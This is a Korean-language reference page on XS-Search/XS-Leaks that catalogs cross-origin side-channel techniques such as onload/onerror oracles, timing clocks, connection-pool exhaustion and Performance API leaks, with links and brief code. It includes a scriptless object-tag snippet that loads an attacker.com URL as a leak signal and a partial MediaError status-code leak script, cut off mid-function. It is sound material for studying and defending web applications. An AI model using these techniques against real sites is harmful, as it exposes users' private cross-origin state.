XS-Search/XS-Leaks

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기본 정보

XS-Search는 사이드 채널 취약점을 활용하여 교차 출처 정보를 추출하는 방법입니다.

이 공격에 관련된 주요 구성 요소는 다음과 같습니다:

• 취약한 웹: 정보가 추출될 대상 웹사이트.

• 공격자의 웹: 피해자가 방문하는 공격자가 만든 악성 웹사이트로, 익스플로잇을 호스팅합니다.

• 포함 방법: 취약한 웹을 공격자의 웹에 포함시키기 위해 사용되는 기술(예: window.open, iframe, fetch, href가 있는 HTML 태그 등).

• 유출 기술: 포함 방법을 통해 수집된 정보를 바탕으로 취약한 웹의 상태 차이를 식별하는 데 사용되는 기술.

• 상태: 공격자가 구별하고자 하는 취약한 웹의 두 가지 잠재적 조건.

• 감지 가능한 차이: 공격자가 취약한 웹의 상태를 추론하는 데 의존하는 관찰 가능한 변동.

감지 가능한 차이

취약한 웹의 상태를 구별하기 위해 분석할 수 있는 여러 측면이 있습니다:

• 상태 코드: 서버 오류, 클라이언트 오류 또는 인증 오류와 같은 다양한 HTTP 응답 상태 코드를 교차 출처로 구별합니다.

• API 사용: 특정 JavaScript 웹 API를 사용하는지 여부를 드러내는 웹 API 사용을 식별합니다.

• 리디렉션: HTTP 리디렉션뿐만 아니라 JavaScript 또는 HTML에 의해 트리거된 다른 페이지로의 탐색을 감지합니다.

• 페이지 콘텐츠: HTTP 응답 본문 또는 페이지 하위 리소스에서의 변동 관찰, 예를 들어 임베디드 프레임 수 또는 이미지 크기 차이.

• HTTP 헤더: 특정 HTTP 응답 헤더의 존재 또는 값(예: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy)을 주목합니다.

• 타이밍: 두 상태 간의 일관된 시간 차이를 감지합니다.

포함 방법

• HTML 요소: HTML은 교차 출처 리소스 포함을 위한 다양한 요소를 제공하며, 스타일시트, 이미지 또는 스크립트와 같은 비HTML 리소스를 요청하도록 브라우저를 강제합니다. 이 목적을 위한 잠재적 HTML 요소의 목록은 https://github.com/cure53/HTTPLeaks에서 확인할 수 있습니다.

• 프레임: iframe, object, embed와 같은 요소는 HTML 리소스를 공격자의 페이지에 직접 포함할 수 있습니다. 페이지에 프레임 보호가 없는 경우, JavaScript는 contentWindow 속성을 통해 프레임된 리소스의 window 객체에 접근할 수 있습니다.

• 팝업: window.open 메서드는 새 탭이나 창에서 리소스를 열어 JavaScript가 SOP에 따라 메서드 및 속성과 상호작용할 수 있는 창 핸들을 제공합니다. 팝업은 종종 단일 로그인에서 사용되며, 대상 리소스의 프레임 및 쿠키 제한을 우회합니다. 그러나 최신 브라우저는 특정 사용자 작업에만 팝업 생성을 제한합니다.

• JavaScript 요청: JavaScript는 XMLHttpRequests 또는 Fetch API를 사용하여 대상 리소스에 직접 요청할 수 있습니다. 이러한 방법은 HTTP 리디렉션을 따르도록 선택하는 등 요청에 대한 정밀한 제어를 제공합니다.

유출 기술

• 이벤트 핸들러: XS-Leaks에서 고전적인 유출 기술로, onload 및 onerror와 같은 이벤트 핸들러가 리소스 로딩 성공 또는 실패에 대한 통찰력을 제공합니다.

• 오류 메시지: JavaScript 예외 또는 특수 오류 페이지는 오류 메시지의 존재 여부에 따라 유출 정보를 제공할 수 있습니다.

• 전역 한계: 메모리 용량 또는 기타 강제 브라우저 한계와 같은 브라우저의 물리적 제한은 임계값에 도달했음을 신호로 제공할 수 있으며, 이는 유출 기술로 작용합니다.

• 전역 상태: 브라우저의 전역 상태(예: History 인터페이스)와의 감지 가능한 상호작용을 악용할 수 있습니다. 예를 들어, 브라우저의 기록에 있는 항목 수는 교차 출처 페이지에 대한 단서를 제공할 수 있습니다.

• 성능 API: 이 API는 현재 페이지의 성능 세부정보를 제공하며, 문서 및 로드된 리소스에 대한 네트워크 타이밍을 포함하여 요청된 리소스에 대한 추론을 가능하게 합니다.

• 읽기 가능한 속성: 일부 HTML 속성은 교차 출처로 읽을 수 있으며, 유출 기술로 사용될 수 있습니다. 예를 들어, window.frame.length 속성은 JavaScript가 교차 출처 웹페이지에 포함된 프레임 수를 계산할 수 있게 합니다.

XSinator 도구 및 논문

XSinator는 여러 알려진 XS-Leaks에 대해 브라우저를 확인하는 자동 도구로, 그 논문에서 설명됩니다: https://xsinator.com/paper.pdf

도구에 접근할 수 있는 곳: https://xsinator.com/

제외된 XS-Leaks: XSinator의 다른 유출과 간섭할 수 있는 서비스 워커에 의존하는 XS-Leaks는 제외해야 했습니다. 또한, 특정 웹 애플리케이션의 잘못된 구성 및 버그에 의존하는 XS-Leaks도 제외하기로 선택했습니다. 예를 들어, CrossOrigin Resource Sharing (CORS) 잘못된 구성, postMessage 유출 또는 Cross-Site Scripting. 또한, 느리고 시끄럽고 부정확한 경우가 많기 때문에 시간 기반 XS-Leaks도 제외했습니다.

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타이밍 기반 기술

다음 기술 중 일부는 웹 페이지의 가능한 상태에서 차이를 감지하는 과정의 일환으로 타이밍을 사용할 것입니다. 웹 브라우저에서 시간을 측정하는 방법은 여러 가지가 있습니다.

시계: performance.now() API는 개발자가 고해상도 타이밍 측정을 얻을 수 있도록 합니다. 공격자가 암묵적인 시계를 만들기 위해 남용할 수 있는 API의 수가 상당합니다: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS 애니메이션 등. 자세한 정보는: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

이벤트 핸들러 기술

Onload/Onerror

• 포함 방법: 프레임, HTML 요소

• 감지 가능한 차이: 상태 코드

• 자세한 정보: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/

• 요약: 리소스를 로드하려고 할 때 onerror/onload 이벤트가 리소스가 성공적으로/실패적으로 로드되면 트리거되며, 상태 코드를 파악할 수 있습니다.

• 코드 예제: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)

Cookie Bomb + Onerror XS Leak

코드 예제는 JS에서 스크립트 객체를 로드하려고 시도하지만, 객체, 스타일시트, 이미지, 오디오와 같은 다른 태그도 사용할 수 있습니다. 또한, 태그를 직접 주입하고 태그 내부에 onload 및 onerror 이벤트를 선언하는 것도 가능합니다(대신 JS에서 주입하는 대신).

이 공격의 스크립트 없는 버전도 있습니다:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In this case if example.com/404 is not found attacker.com/?error will be loaded.

Onload Timing

• Inclusion Methods: HTML Elements

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events

• Summary: The performance.now() API can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as PerformanceLongTaskTiming API which can identify tasks running for more than 50ms.

• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events another example in:

performance.now example

Onload Timing + Forced Heavy Task

이 기술은 이전 기술과 유사하지만, 공격자는 긍정적 또는 부정적 응답이 있을 때 상당한 시간이 걸리도록 강제하는 작업을 수행하고 그 시간을 측정합니다.

performance.now + Force heavy task

unload/beforeunload Timing

• Inclusion Methods: Frames

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events

• Summary: The SharedArrayBuffer clock can be used to measure how much time it takes to perform a request. Other clocks could be used.

• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events

리소스를 가져오는 데 걸리는 시간은 unload 및 beforeunload 이벤트를 활용하여 측정할 수 있습니다. beforeunload 이벤트는 브라우저가 새 페이지로 이동하기 직전에 발생하며, unload 이벤트는 실제로 이동이 이루어질 때 발생합니다. 이 두 이벤트 간의 시간 차이를 계산하여 브라우저가 리소스를 가져오는 데 소요된 시간을 결정할 수 있습니다.

Sandboxed Frame Timing + onload

• Inclusion Methods: Frames

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks

• Summary: The performance.now() API can be used to measure how much time it takes to perform a request. Other clocks could be used.

• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks

Framing Protections이 없는 경우, 페이지와 그 하위 리소스가 네트워크를 통해 로드되는 데 필요한 시간을 공격자가 측정할 수 있는 것으로 관찰되었습니다. 이 측정은 일반적으로 iframe의 onload 핸들러가 리소스 로딩 및 JavaScript 실행이 완료된 후에만 트리거되기 때문에 가능합니다. 스크립트 실행으로 인한 변동성을 우회하기 위해, 공격자는 <iframe> 내에서 sandbox 속성을 사용할 수 있습니다. 이 속성을 포함하면 JavaScript 실행과 같은 여러 기능이 제한되어 네트워크 성능에 주로 영향을 받는 측정을 용이하게 합니다.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

• Inclusion Methods: Frames

• Detectable Difference: Page Content

• More info:

• Summary: 올바른 콘텐츠에 접근할 때 페이지 오류를 발생시키고, 어떤 콘텐츠에 접근할 때 올바르게 로드되도록 할 수 있다면, 시간을 측정하지 않고 모든 정보를 추출하는 루프를 만들 수 있습니다.

• Code Example:

비밀 콘텐츠가 포함된 페이지를 Iframe 안에 삽입할 수 있다고 가정해 보겠습니다.

피해자가 Iframe을 사용하여 "flag"가 포함된 파일을 검색하도록 만들 수 있습니다(예: CSRF를 악용). Iframe 안에서는 _onload event_가 항상 최소한 한 번은 실행될 것임을 알고 있습니다. 그런 다음, URL의 iframe을 변경할 수 있지만 URL의 hash의 내용만 변경합니다.

예를 들어:

1. URL1: www.attacker.com/xssearch#try1

2. URL2: www.attacker.com/xssearch#try2

첫 번째 URL이 성공적으로 로드되었다면, URL의 hash 부분을 변경할 때 onload 이벤트는 다시 트리거되지 않습니다. 그러나 페이지가 로드할 때 어떤 종류의 오류가 발생했다면, onload 이벤트는 다시 트리거됩니다.

그런 다음, 정상적으로 로드된 페이지와 접근할 때 오류가 있는 페이지를 구별할 수 있습니다.

Javascript Execution

• Inclusion Methods: Frames

• Detectable Difference: Page Content

• More info:

• Summary: 페이지가 민감한 콘텐츠를 반환하거나 사용자가 제어할 수 있는 콘텐츠를 반환하는 경우, 사용자는 부정적인 경우에 유효한 JS 코드를 설정할 수 있으며, 각 시도마다 <script> 태그 안에 로드하여, 부정적인 경우 공격자의 코드가 실행되고, 긍정적인 경우에는 아무것도 실행되지 않습니다.

• Code Example:

JavaScript Execution XS Leak

CORB - Onerror

• Inclusion Methods: HTML Elements

• Detectable Difference: Status Code & Headers

• More info: https://xsleaks.dev/docs/attacks/browser-features/corb/

• Summary: Cross-Origin Read Blocking (CORB)는 Spectre와 같은 공격으로부터 보호하기 위해 특정 민감한 교차 출처 리소스의 로드를 방지하는 보안 조치입니다. 그러나 공격자는 그 보호 동작을 악용할 수 있습니다. CORB의 적용을 받는 응답이 nosniff와 2xx 상태 코드가 있는 _CORB 보호_ Content-Type을 반환할 때, CORB는 응답의 본문과 헤더를 제거합니다. 이를 관찰하는 공격자는 상태 코드(성공 또는 오류를 나타냄)와 Content-Type(CORB에 의해 보호되는지 여부를 나타냄)의 조합을 추론할 수 있어 정보 유출의 가능성이 있습니다.

• Code Example:

더 많은 정보에 대한 링크를 확인하십시오.

onblur

• Inclusion Methods: Frames

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/

• Summary: id 또는 name 속성에서 민감한 데이터를 유출합니다.

• Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet

iframe 안에 페이지를 로드하고 **#id_value**를 사용하여 페이지가 지정된 id의 iframe 요소에 포커스를 맞추도록 할 수 있습니다. 그런 다음 onblur 신호가 트리거되면 ID 요소가 존재합니다. portal 태그로 동일한 공격을 수행할 수 있습니다.

postMessage Broadcasts

• Inclusion Methods: Frames, Pop-ups

• Detectable Difference: API Usage

• More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/

• Summary: postMessage에서 민감한 정보를 수집하거나 postMessages의 존재를 오라클로 사용하여 페이지에서 사용자의 상태를 알 수 있습니다.

• Code Example: 모든 postMessages를 수신하는 코드.

응용 프로그램은 서로 다른 출처 간에 통신하기 위해 postMessage broadcasts를 자주 사용합니다. 그러나 이 방법은 targetOrigin 매개변수가 제대로 지정되지 않으면 민감한 정보를 우연히 노출할 수 있습니다. 또한 메시지를 수신하는 행위 자체가 오라클 역할을 할 수 있습니다. 예를 들어, 특정 메시지는 로그인한 사용자에게만 전송될 수 있습니다. 따라서 이러한 메시지의 존재 여부는 사용자의 상태나 신원에 대한 정보를 드러낼 수 있습니다.

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Global Limits Techniques

WebSocket API

• Inclusion Methods: Frames, Pop-ups

• Detectable Difference: API Usage

• More info: https://xsinator.com/paper.pdf (5.1)

• Summary: WebSocket 연결 한계를 소진하면 교차 출처 페이지의 WebSocket 연결 수가 유출됩니다.

• Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)

대상 페이지가 사용하는 WebSocket 연결의 수를 식별할 수 있습니다. 이는 공격자가 애플리케이션 상태를 감지하고 WebSocket 연결 수와 관련된 정보를 유출할 수 있게 합니다.

하나의 출처가 최대 WebSocket 연결 객체 수를 사용하고 있다면, 연결 상태와 관계없이 새 객체의 생성은 JavaScript 예외를 발생시킵니다. 이 공격을 실행하기 위해 공격자 웹사이트는 팝업 또는 iframe에서 대상 웹사이트를 열고, 대상 웹이 로드된 후 가능한 최대 수의 WebSocket 연결을 생성하려고 시도합니다. 던져진 예외의 수는 대상 웹사이트 창에서 사용된 WebSocket 연결의 수입니다.

Payment API

• Inclusion Methods: Frames, Pop-ups

• Detectable Difference: API Usage

• More info: https://xsinator.com/paper.pdf (5.1)

• Summary: Payment Request를 감지할 수 있습니다. 한 번에 하나만 활성화될 수 있습니다.

• Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak

이 XS-Leak는 공격자가 교차 출처 페이지가 결제 요청을 시작할 때 감지할 수 있게 합니다.

결제 요청은 한 번에 하나만 활성화될 수 있기 때문에, 대상 웹사이트가 Payment Request API를 사용하고 있다면, 이 API를 사용하려는 추가 시도는 실패하고 JavaScript 예외를 발생시킵니다. 공격자는 주기적으로 Payment API UI를 표시하려고 시도하여 이를 악용할 수 있습니다. 한 번의 시도가 예외를 발생시키면, 대상 웹사이트가 현재 이를 사용하고 있다는 것을 알 수 있습니다. 공격자는 UI를 생성한 후 즉시 닫아 이러한 주기적인 시도를 숨길 수 있습니다.

Timing the Event Loop

• Inclusion Methods:

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop

• Summary: 단일 스레드 JS 이벤트 루프를 악용하여 웹의 실행 시간을 측정합니다.

• Code Example:

Event Loop Blocking + Lazy images

JavaScript는 단일 스레드 이벤트 루프 동시성 모델에서 작동하며, 이는 한 번에 하나의 작업만 실행할 수 있음을 의미합니다. 이 특성은 다른 출처의 코드가 실행되는 데 걸리는 시간을 측정하는 데 악용될 수 있습니다. 공격자는 고정된 속성을 가진 이벤트를 지속적으로 전송하여 이벤트 루프에서 자신의 코드의 실행 시간을 측정할 수 있습니다. 이러한 이벤트는 이벤트 풀에 빈 공간이 있을 때 처리됩니다. 다른 출처도 동일한 풀에 이벤트를 전송하는 경우, 공격자는 자신의 작업 실행 지연을 관찰하여 이러한 외부 이벤트가 실행되는 데 걸리는 시간을 추론할 수 있습니다. 지연에 대한 이벤트 루프 모니터링 방법은 다른 출처의 코드 실행 시간을 드러내어 민감한 정보를 노출할 수 있습니다.

실행 시간 측정에서는 네트워크 요인을 제거하여 보다 정확한 측정값을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 사용되는 리소스를 로드하는 것입니다.

Busy Event Loop

• Inclusion Methods:

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop

• Summary: 웹 작업의 실행 시간을 측정하는 한 가지 방법은 스레드의 이벤트 루프를 의도적으로 차단한 다음 이벤트 루프가 다시 사용 가능해지는 데 걸리는 시간을 측정하는 것입니다. 차단 작업(예: 긴 계산 또는 동기 API 호출)을 이벤트 루프에 삽입하고, 후속 코드가 실행되기 시작하는 데 걸리는 시간을 모니터링함으로써, 차단 기간 동안 이벤트 루프에서 실행 중인 작업의 지속 시간을 추론할 수 있습니다. 이 기술은 JavaScript의 이벤트 루프가 단일 스레드로 작업을 순차적으로 실행하는 특성을 활용하며, 동일한 스레드를 공유하는 다른 작업의 성능이나 동작에 대한 통찰력을 제공할 수 있습니다.

• Code Example:

이벤트 루프를 잠금으로써 실행 시간을 측정하는 기술의 중요한 장점은 사이트 격리를 우회할 수 있는 잠재력입니다. 사이트 격리는 서로 다른 웹사이트를 별도의 프로세스로 분리하는 보안 기능으로, 악의적인 사이트가 다른 사이트의 민감한 데이터에 직접 접근하는 것을 방지하는 것을 목표로 합니다. 그러나 공유 이벤트 루프를 통해 다른 출처의 실행 시간을 영향을 미침으로써, 공격자는 해당 출처의 활동에 대한 정보를 간접적으로 추출할 수 있습니다. 이 방법은 다른 출처의 데이터에 대한 직접적인 접근에 의존하지 않고, 오히려 공유 이벤트 루프에서 해당 출처의 활동이 미치는 영향을 관찰하여 사이트 격리에 의해 설정된 보호 장벽을 회피합니다.

실행 시간 측정에서는 네트워크 요인을 제거하여 보다 정확한 측정값을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 사용되는 리소스를 로드하는 것입니다.

Connection Pool

• Inclusion Methods: JavaScript Requests

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

• Summary: 공격자는 1개를 제외한 모든 소켓을 잠그고, 대상 웹을 로드하며 동시에 다른 페이지를 로드할 수 있습니다. 마지막 페이지가 로드되기 시작하는 시간은 대상 페이지가 로드되는 데 걸린 시간입니다.

• Code Example:

Connection Pool Examples

브라우저는 서버 통신을 위해 소켓을 사용하지만, 운영 체제와 하드웨어의 제한된 자원으로 인해 브라우저는 동시 소켓 수에 제한을 두어야 합니다. 공격자는 다음 단계를 통해 이 제한을 악용할 수 있습니다:

1. 브라우저의 소켓 한도를 확인합니다. 예를 들어, 256개의 전역 소켓.

2. 255개의 소켓을 다양한 호스트에 대한 255개의 요청을 시작하여 오랜 시간 동안 점유합니다. 이 요청은 연결을 열어 두고 완료되지 않도록 설계됩니다.

3. 256번째 소켓을 사용하여 대상 페이지에 요청을 보냅니다.

4. 다른 호스트에 257번째 요청을 시도합니다. 모든 소켓이 사용 중이므로(2단계와 3단계에 따라) 이 요청은 소켓이 사용 가능해질 때까지 대기열에 놓입니다. 이 요청이 진행되기까지의 지연 시간은 공격자에게 256번째 소켓(대상 페이지의 소켓)과 관련된 네트워크 활동에 대한 시간 정보를 제공합니다. 이 추론이 가능한 이유는 2단계에서 255개의 소켓이 여전히 사용 중이기 때문에, 새로 사용 가능한 소켓은 3단계에서 해제된 소켓이어야 한다는 것입니다. 따라서 256번째 소켓이 사용 가능해지는 데 걸린 시간은 대상 페이지에 대한 요청이 완료되는 데 걸린 시간과 직접적으로 연결됩니다.

더 많은 정보: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

• Inclusion Methods: JavaScript Requests

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info:

• Summary: 이전 기술과 유사하지만 모든 소켓을 사용하는 대신 Google Chrome은 동일한 출처에 대해 6개의 동시 요청으로 제한합니다. 만약 우리가 5개를 차단하고 6번째 요청을 시작하면, 이를 시간 측정할 수 있으며, 피해자 페이지가 동일한 엔드포인트에 더 많은 요청을 보내도록 만들 수 있다면, 6번째 요청은 더 오래 걸리게 되어 이를 감지할 수 있습니다.

Performance API Techniques

Performance API는 웹 애플리케이션의 성능 메트릭에 대한 통찰력을 제공하며, Resource Timing API로 더욱 풍부해집니다. Resource Timing API는 요청의 지속 시간과 같은 상세한 네트워크 요청 타이밍을 모니터링할 수 있게 해줍니다. 특히 서버가 응답에 Timing-Allow-Origin: * 헤더를 포함하면 전송 크기 및 도메인 조회 시간과 같은 추가 데이터가 제공됩니다.

이 풍부한 데이터는 performance.getEntries 또는 performance.getEntriesByName와 같은 메서드를 통해 검색할 수 있으며, 성능 관련 정보에 대한 포괄적인 뷰를 제공합니다. 또한, API는 performance.now()에서 얻은 타임스탬프의 차이를 계산하여 실행 시간을 측정할 수 있게 해줍니다. 그러나 Chrome과 같은 브라우저의 특정 작업에 대해 performance.now()의 정밀도가 밀리초로 제한될 수 있어 타이밍 측정의 세분성에 영향을 미칠 수 있습니다.

타이밍 측정 외에도 Performance API는 보안 관련 통찰력을 위해 활용될 수 있습니다. 예를 들어, Chrome의 performance 객체에 페이지의 존재 여부는 X-Frame-Options의 적용을 나타낼 수 있습니다. 특히, X-Frame-Options로 인해 프레임에서 렌더링이 차단된 페이지는 performance 객체에 기록되지 않으므로 페이지의 프레이밍 정책에 대한 미세한 단서를 제공합니다.

Error Leak

• Inclusion Methods: Frames, HTML Elements

• Detectable Difference: Status Code

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: 오류가 발생하는 요청은 리소스 타이밍 항목을 생성하지 않습니다.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak

HTTP 응답 상태 코드를 구별할 수 있습니다. 오류로 이어지는 요청은 성능 항목을 생성하지 않습니다.

Style Reload Error

• Inclusion Methods: HTML Elements

• Detectable Difference: Status Code

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: 브라우저 버그로 인해 오류가 발생하는 요청이 두 번 로드됩니다.

• Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak

이전 기술에서는 GC의 브라우저 버그로 인해 로드에 실패한 리소스가 두 번 로드되는 두 가지 경우가 확인되었습니다. 이로 인해 Performance API에 여러 항목이 생성되며, 따라서 이를 감지할 수 있습니다.

Request Merging Error

• Inclusion Methods: HTML Elements

• Detectable Difference: Status Code

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: 오류가 발생하는 요청은 병합될 수 없습니다.

• Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

이 기술은 언급된 논문의 표에서 발견되었지만, 기술에 대한 설명은 발견되지 않았습니다. 그러나 https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak에서 이를 확인할 수 있는 소스 코드를 찾을 수 있습니다.

Empty Page Leak

• Inclusion Methods: Frames

• Detectable Difference: Page Content

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: 빈 응답은 리소스 타이밍 항목을 생성하지 않습니다.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak

공격자는 요청이 빈 HTTP 응답 본체로 이어졌는지 감지할 수 있습니다. 왜냐하면 빈 페이지는 일부 브라우저에서 성능 항목을 생성하지 않기 때문입니다.

XSS-Auditor Leak

• Inclusion Methods: Frames

• Detectable Difference: Page Content

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: 보안 주장에서 XSS 감사기를 사용하여, 공격자는 조작된 페이로드가 감사기의 필터링 메커니즘을 트리거할 때 응답의 변화를 관찰하여 특정 웹페이지 요소를 감지할 수 있습니다.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

보안 주장(SA)에서 XSS 감사기는 원래 교차 사이트 스크립팅(XSS) 공격을 방지하기 위해 설계되었지만, 역설적으로 민감한 정보를 유출하는 데 악용될 수 있습니다. 이 내장 기능은 Google Chrome(GC)에서 제거되었지만, SA에는 여전히 존재합니다. 2013년 Braun과 Heiderich는 XSS 감사기가 합법적인 스크립트를 우연히 차단하여 잘못된 긍정을 초래할 수 있음을 보여주었습니다. 이를 바탕으로 연구자들은 정보를 추출하고 교차 출처 페이지에서 특정 콘텐츠를 감지하는 기술을 개발했습니다. 이 개념은 XS-Leaks로 알려져 있으며, 처음에는 Terada에 의해 보고되었고 Heyes의 블로그 게시물에서 자세히 설명되었습니다. 이러한 기술은 GC의 XSS 감사기에 특정했지만, SA에서는 XSS 감사기에 의해 차단된 페이지가 Performance API에 항목을 생성하지 않으므로 민감한 정보가 여전히 유출될 수 있는 방법을 드러냅니다.

X-Frame Leak

• Inclusion Methods: Frames

• Detectable Difference: Header

• More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options

• Summary: X-Frame-Options 헤더가 있는 리소스는 리소스 타이밍 항목을 생성하지 않습니다.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak

페이지가 iframe에서 렌더링되는 것이 허용되지 않는 경우, 성능 항목을 생성하지 않습니다. 결과적으로 공격자는 응답 헤더 **X-Frame-Options**를 감지할 수 있습니다. embed 태그를 사용할 때도 마찬가지입니다.

Download Detection

• Inclusion Methods: Frames

• Detectable Difference: Header

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: 다운로드는 Performance API에서 리소스 타이밍 항목을 생성하지 않습니다.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection

설명된 XS-Leak와 유사하게, ContentDisposition 헤더로 인해 다운로드되는 리소스도 성능 항목을 생성하지 않습니다. 이 기술은 모든 주요 브라우저에서 작동합니다.

Redirect Start Leak

• Inclusion Methods: Frames

• Detectable Difference: Redirect

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: 리소스 타이밍 항목은 리디렉션의 시작 시간을 유출합니다.

• Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak

우리는 일부 브라우저가 교차 출처 요청에 대해 너무 많은 정보를 기록하는 행동을 악용하는 XS-Leak 사례를 발견했습니다. 표준은 교차 출처 리소스에 대해 설정해야 하는 속성의 하위 집합을 정의합니다. 그러나 SA에서는 사용자가 대상 페이지에 의해 리디렉션되었는지 감지할 수 있습니다. Performance API를 쿼리하고 redirectStart timing data를 확인함으로써 가능합니다.

Duration Redirect Leak

• Inclusion Methods: Fetch API

• Detectable Difference: Redirect

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: 리디렉션이 발생할 때 타이밍 항목의 지속 시간이 음수입니다.

• Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak

GC에서 리디렉션이 발생하는 요청의 지속 시간은 음수이며, 따라서 리디렉션이 발생하지 않는 요청과 구별될 수 있습니다.

CORP Leak

• Inclusion Methods: Frames

• Detectable Difference: Header

• More info: https://xsinator.com/paper.pdf (5.2)

• Summary: CORP로 보호된 리소스는 리소스 타이밍 항목을 생성하지 않습니다.

• Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak

일부 경우, nextHopProtocol entry는 유출 기술로 사용될 수 있습니다. GC에서 CORP header가 설정되면 nextHopProtocol은 비어 있습니다. SA는 CORP가 활성화된 리소스에 대해 성능 항목을 전혀 생성하지 않는다는 점에 유의하십시오.

Service Worker

• Inclusion Methods: Frames

• Detectable Difference: API Usage

• More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/

• Summary: 특정 출처에 대해 서비스 워커가 등록되어 있는지 감지합니다.

• Code Example:

서비스 워커는 출처에서 실행되는 이벤트 기반 스크립트 컨텍스트입니다. 이들은 웹 페이지의 백그라운드에서 실행되며, 리소스를 가로채고 수정하며 오프라인 웹 애플리케이션을 만들기 위해 리소스를 캐시할 수 있습니다. iframe을 통해 서비스 워커에 의해 캐시된 리소스에 접근하면, 리소스는 서비스 워커 캐시에서 로드됩니다. 리소스가 서비스 워커 캐시에서 **로드되었는지 감지하기 위해 Performance API를 사용할 수 있습니다. 이것은 타이밍 공격으로도 수행할 수 있습니다(자세한 내용은 논문을 참조하십시오).

Cache

• Inclusion Methods: Fetch API

• Detectable Difference: Timing

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources

• Summary: 리소스가 캐시에 저장되었는지 확인할 수 있습니다.

• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)

Performance API를 사용하여 리소스가 캐시되었는지 확인할 수 있습니다.

Network Duration

• Inclusion Methods: Fetch API

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration

• Summary: performance API에서 요청의 네트워크 지속 시간을 검색할 수 있습니다.

• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration

Error Messages Technique

Media Error

• Inclusion Methods: HTML Elements (Video, Audio)

• Detectable Difference: Status Code

• More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265

• Summary: Firefox에서 교차 출처 요청의 상태 코드를 정확하게 유출할 수 있습니다.

• Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
